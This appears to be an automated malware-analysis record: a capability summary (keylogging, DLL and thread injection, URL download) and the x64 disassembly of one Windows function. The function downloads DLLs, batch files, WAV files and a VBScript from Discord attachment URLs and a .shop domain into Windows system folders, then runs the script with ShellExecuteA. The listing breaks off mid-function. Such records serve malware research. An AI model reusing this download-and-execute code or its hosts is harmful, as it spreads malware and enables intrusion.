Function at 0x14004d710
Capabilities:
Check for time delay via gettickcount
Create process on windows
Create thread
Download url
Get system information on windows
Inject dll
Inject thread
Log keystrokes via polling
Receive data
Set registry value
Terminate process

Disassembly:
push rbp
push rbx
push r12
lea rbp, [rsp - 0x2130]
mov eax, 0x2230
call fcn.14010b260
sub rsp, rax
lea rcx, [rbp + 0xb0]
xor r12d, r12d
lea rbx, [0x140000000]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rbx + 0x145010]
lea rax, [rbx + 0x145010]
xor r9d, r9d
movups xmm1, xmmword [rax + 0x10]
lea r8, [rbp - 0x60]
movups xmmword [rcx], xmm0
lea rdx, [rbp + 0xb0]
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmm0, xmmword [str.C:WindowsTempRafaRGB.dll]
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
xor ecx, ecx
mov eax, dword [0x1401450e0]
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x48], eax
movsd xmm0, qword [0x1401450d8]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1034330012733681755_1160248205527760906_OPCION_ACTIVADA_AUDIO_VOZ.wav]
lea r8, [rbp + 0x78]
movaps xmm1, xmmword [0x140145100]
lea rdx, [rbp + 0xb0]
mov eax, dword [0x140145158]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145110]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x140145130]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145150]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145120]
movsd qword [rbp + 0x110], xmm0
movups xmm0, xmmword [str.C:WindowsOPCION_ACTIVADA_AUDIO_VOZ.wav]
mov dword [rbp + 0x118], eax
movzx eax, byte [0x14014515c]
movaps xmmword [rbp + 0xe0], xmm1
movaps xmm1, xmmword [0x140145140]
movaps xmmword [rbp + 0x100], xmm1
movups xmm1, xmmword [0x140145170]
mov byte [rbp + 0x11c], al
movzx eax, byte [0x140145188]
movups xmmword [rbp + 0x78], xmm0
mov byte [rbp + 0xa0], al
movsd xmm0, qword [0x140145180]
movsd qword [rbp + 0x98], xmm0
movups xmmword [rbp + 0x88], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__beyondregedit.shop_gtc_sound_gtc.wav]
mov eax, dword [0x1401451b8]
movups xmm1, xmmword [0x1401451a0]
mov dword [rbp + 0xa0], eax
movzx eax, byte [0x1401451bc]
movups xmmword [rbp + 0x78], xmm0
movsd xmm0, qword [0x1401451b0]
movsd qword [rbp + 0x98], xmm0
movups xmmword [rbp + 0x88], xmm1
movups xmm0, xmmword [str.C:Windows_activar.wav]
mov byte [rbp + 0xa4], al
lea r8, [rbp - 0x60]
mov eax, dword [0x1401451d0]
lea rdx, [rbp + 0x78]
mov dword [rbp - 0x50], eax
xor r9d, r9d
movzx eax, word [0x1401451d4]
xor ecx, ecx
mov word [rbp - 0x4c], ax
movzx eax, byte [0x1401451d6]
mov byte [rbp - 0x4a], al
movups xmmword [rbp - 0x60], xmm0
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1187048206727663728_1201038724939657226_desactivar.wav]
lea r8, [rbp - 0x60]
mov eax, dword [0x140145238]
lea rdx, [rbp + 0xb0]
movaps xmm1, xmmword [0x1401451f0]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145200]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x140145220]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145230]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:Windowsdesactivar.wav]
mov dword [rbp + 0x108], eax
movzx eax, word [0x14014523c]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp + 0x10c], ax
movsd xmm0, qword [0x140145250]
movzx eax, word [0x140145258]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145210]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xe0], xmm1
mov word [rbp - 0x48], ax
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1142094843590479945_1142101206756503673_milky.vbs]
lea r8, [rbp - 0x60]
movaps xmm1, xmmword [0x140145270]
lea rdx, [rbp + 0xb0]
movzx eax, byte [0x1401452b8]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145280]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x1401452a0]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x1401452b0]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:WindowsTempmilky.vbs]
mov byte [rbp + 0x108], al
movzx eax, word [reloc.WS2_32.dll_WSAStartup]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x1401452d0]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145290]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xe0], xmm1
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov dword [rsp + 0x28], 5
lea r8, str.C:WindowsTempmilky.vbs
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
movaps xmm1, xmmword [0x1401452f0]
movaps xmmword [rbp + 0xba0], xmm0
movaps xmm0, xmmword [0x140145300]
movaps xmmword [rbp + 0xbb0], xmm1
movaps xmm1, xmmword [0x140145310]
lea rdx, str.C:WindowsTemp_systen.dll
movzx eax, word [0x140145338]
lea rcx, [rbp + 0x14d0]
movaps xmmword [rbp + 0xbc0], xmm0
movaps xmm0, xmmword [0x140145320]
movaps xmmword [rbp + 0xbe0], xmm0
movsd xmm0, qword [0x140145330]
movsd qword [rbp + 0xbf0], xmm0
movaps xmmword [rbp + 0xbd0], xmm1
mov word [rbp + 0xbf8], ax
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x14d0]
xor ecx, ecx
lea rdx, [rbp + 0xba0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x140145338]
lea rdx, [rbp + 0xb0]
movaps xmm1, xmmword [0x1401452f0]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145300]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x140145320]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145330]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_systen.dll]
mov word [rbp + 0x108], ax
movzx eax, word [0x140144f68]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140144f60]
movzx eax, byte [0x140144f6a]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145310]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xe0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450681053253724_systen.dll]
lea r8, [rbp - 0x60]
movzx eax, word [0x140145338]
lea rdx, [rbp + 0xb0]
movaps xmm1, xmmword [0x1401452f0]
xor r9d, r9d
movaps xmmword [rbp + 0xb0], xmm0
xor ecx, ecx
movaps xmm0, xmmword [0x140145300]
movaps xmmword [rbp + 0xd0], xmm0
movaps xmm0, xmmword [0x140145320]
movaps xmmword [rbp + 0xf0], xmm0
movsd xmm0, qword [0x140145330]
movsd qword [rbp + 0x100], xmm0
movups xmm0, xmmword [str.C:WindowsTemp_system.dll]
mov word [rbp + 0x108], ax
movzx eax, word [0x140144fa8]
movups xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x48], ax
movsd xmm0, qword [0x140144fa0]
movzx eax, byte [0x140144faa]
movaps xmmword [rbp + 0xc0], xmm1
movaps xmm1, xmmword [0x140145310]
movsd qword [rbp - 0x50], xmm0
movaps xmmword [rbp + 0xe0], xmm1
mov byte [rbp - 0x46], al
mov qword [rsp + 0x20], r12
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145340]
lea rcx, [rbx + 0x145340]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1350]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
lea rcx, [rcx + 0x80]
mov rax, qword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
mov eax, dword [rcx + 0x38]
mov dword [rdx + 0x38], eax
movzx eax, word [rcx + 0x3c]
mov word [rdx + 0x3c], ax
movzx eax, byte [rcx + 0x3e]
lea rcx, [rbp + 0x15e0]
mov byte [rdx + 0x3e], al
lea rdx, str.C:WindowsTemp_block_internet.bat
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x15e0]
xor ecx, ecx
lea rdx, [rbp + 0x1350]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145430]
lea rax, [rbx + 0x145430]
movups xmm1, xmmword [rax + 0x10]
lea rcx, [rbp + 0x1410]
movups xmmword [rcx], xmm0
lea rdx, str.C:WindowsTemp_resume_internet.bat
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x70], xmm1
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm0
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x90], xmm1
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0xa0], xmm0
movups xmmword [rcx + 0xb0], xmm1
lea rcx, [rbp + 0x16f0]
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x16f0]
xor ecx, ecx
lea rdx, [rbp + 0x1410]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145520]
lea rcx, [rbx + 0x145520]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xed0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmmword [rdx + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
mov eax, dword [rcx + 0xb0]
lea rdx, [rdx + 0x80]
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1800]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsSystem32_rafa.wav
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1800]
xor ecx, ecx
lea rdx, [rbp + 0xed0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1193710268505665600_1208450642343886898_boxrgb.dll]
lea rdx, str.C:WindowsTemp_boxrgb.dll
movaps xmm1, xmmword [0x140145610]
lea rcx, [rbp + 0xdc0]
movzx eax, word [0x140145658]
movaps xmmword [rbp + 0xc00], xmm0
movaps xmm0, xmmword [0x140145620]
movaps xmmword [rbp + 0xc20], xmm0
movaps xmm0, xmmword [0x140145640]
movaps xmmword [rbp + 0xc40], xmm0
movsd xmm0, qword [0x140145650]
movaps xmmword [rbp + 0xc10], xmm1
movaps xmm1, xmmword [0x140145630]
movsd qword [rbp + 0xc50], xmm0
movaps xmmword [rbp + 0xc30], xmm1
mov word [rbp + 0xc58], ax
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0xdc0]
xor ecx, ecx
lea rdx, [rbp + 0xc00]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145660]
lea rcx, [rbx + 0x145660]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp + 0x1050]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov dword [r8 + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [r8 + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rdx, str.C:WindowsTemp_boxrgb.dll
lea rcx, [rbp + 0xdc0]
mov byte [r8 + 0x36], al
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1d50]
xor ecx, ecx
lea rdx, [rbp + 0x1050]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145720]
lea rcx, [rbx + 0x145720]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0x11d0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0xdc0]
mov byte [rdx + 0x38], al
lea rdx, str.C:WindowsTempChamsRed.dll
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1e60]
xor ecx, ecx
lea rdx, [rbp + 0x11d0]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145720]
lea rcx, [rbx + 0x145720]
movups xmm1, xmmword [rcx + 0x10]
mov rax, qword [rcx + 0xb0]
lea r8, [rbp + 0x1290]
movups xmmword [r8], xmm0
lea rdx, str.C:WindowsTempChamsRed.dll
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [r8 + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [r8 - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8 + 0x20], xmm0
mov qword [r8 + 0x30], rax
movzx eax, byte [rcx + 0xb8]
lea rcx, [rbp + 0x1910]
mov byte [r8 + 0x38], al
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1910]
xor ecx, ecx
lea rdx, [rbp + 0x1290]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1457e0]
lea rcx, [rbx + 0x1457e0]
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xf90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, byte [rcx + 0xb4]
lea rcx, [rbp + 0x1a20]
mov byte [rdx + 0x34], al
lea rdx, str.C:WindowsTempRas1.dll
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1a20]
xor ecx, ecx
lea rdx, [rbp + 0xf90]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1458c0]
lea rcx, [rbx + 0x1458c0]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0x1110]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
lea rcx, [rbp + 0x1b30]
mov byte [rdx + 0x36], al
lea rdx, str.C:WindowsTempRastss.dll
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1b30]
xor ecx, ecx
lea rdx, [rbp + 0x1110]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movaps xmm0, xmmword [str.https:__cdn.discordapp.com_attachments_1192151849416011776_1200245005676204053_blanca_1.dll]
lea rdx, str.C:WindowsTemp_blanca_1.dll
movaps xmm1, xmmword [0x140145990]
lea rcx, [rbp + 0x1c40]
mov eax, dword [0x1401459d8]
movaps xmmword [rbp + 0xc60], xmm0
movaps xmm0, xmmword [0x1401459a0]
movaps xmmword [rbp + 0xc80], xmm0
movaps xmm0, xmmword [0x1401459c0]
movaps xmmword [rbp + 0xca0], xmm0
movsd xmm0, qword [0x1401459d0]
movaps xmmword [rbp + 0xc70], xmm1
movaps xmm1, xmmword [0x1401459b0]
movsd qword [rbp + 0xcb0], xmm0
movaps xmmword [rbp + 0xc90], xmm1
mov dword [rbp + 0xcb8], eax
call fcn.140055190
xor r9d, r9d
mov qword [rsp + 0x20], r12
lea r8, [rbp + 0x1c40]
xor ecx, ecx
lea rdx, [rbp + 0xc60]
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145660]
lea rcx, [rbx + 0x145660]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
movups xmm0, xmmword [rcx + 0x20]
lea rcx, [rcx + 0x80]
mov eax, dword [rcx + 0x30]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0xb0]
movzx eax, word [0x140144f28]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140144f2a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x140144f20]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145660]
lea rcx, [rbx + 0x145660]
movups xmm1, xmmword [rcx + 0x10]
lea rdx, [rbp + 0xb0]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
lea rdx, [rdx + 0x80]
xor r9d, r9d
movups xmm0, xmmword [rcx + 0x40]
lea rcx, [rcx + 0x80]
mov qword [rsp + 0x20], r12
mov eax, dword [rcx + 0x30]
lea r8, [rbp - 0x60]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0x34]
movups xmm0, xmmword [str.C:WindowsTemp_boxrgb.dll]
mov word [rdx + 0x34], ax
movzx eax, byte [rcx + 0x36]
xor ecx, ecx
mov byte [rdx + 0x36], al
lea rdx, [rbp + 0xb0]
movzx eax, word [0x140144f28]
mov word [rbp - 0x48], ax
movzx eax, byte [0x140144f2a]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x46], al
movsd xmm0, qword [0x140144f20]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x145720]
lea rcx, [rbx + 0x145720]
xor r9d, r9d
mov rax, qword [rcx + 0xb0]
lea rdx, [rbp + 0xb0]
movups xmm1, xmmword [rcx + 0x10]
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx + 0x60], xmm0
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov qword [rdx + 0x30], rax
movzx eax, byte [rcx + 0xb8]
xor ecx, ecx
movups xmm0, xmmword [str.C:WindowsTempChamsRed.dll]
mov byte [rdx + 0x38], al
lea rdx, [rbp + 0xb0]
mov eax, dword [0x140144fc8]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x140144fcc]
movups xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x44], al
movsd xmm0, qword [0x140144fc0]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [rbx + 0x1457e0]
lea rcx, [rbx + 0x1457e0]
xor r9d, r9d
movups xmm1, xmmword [rcx + 0x10]
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0xb0]
movups xmmword [rdx], xmm0
lea r8, [rbp - 0x60]
mov qword [rsp + 0x20], r12
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
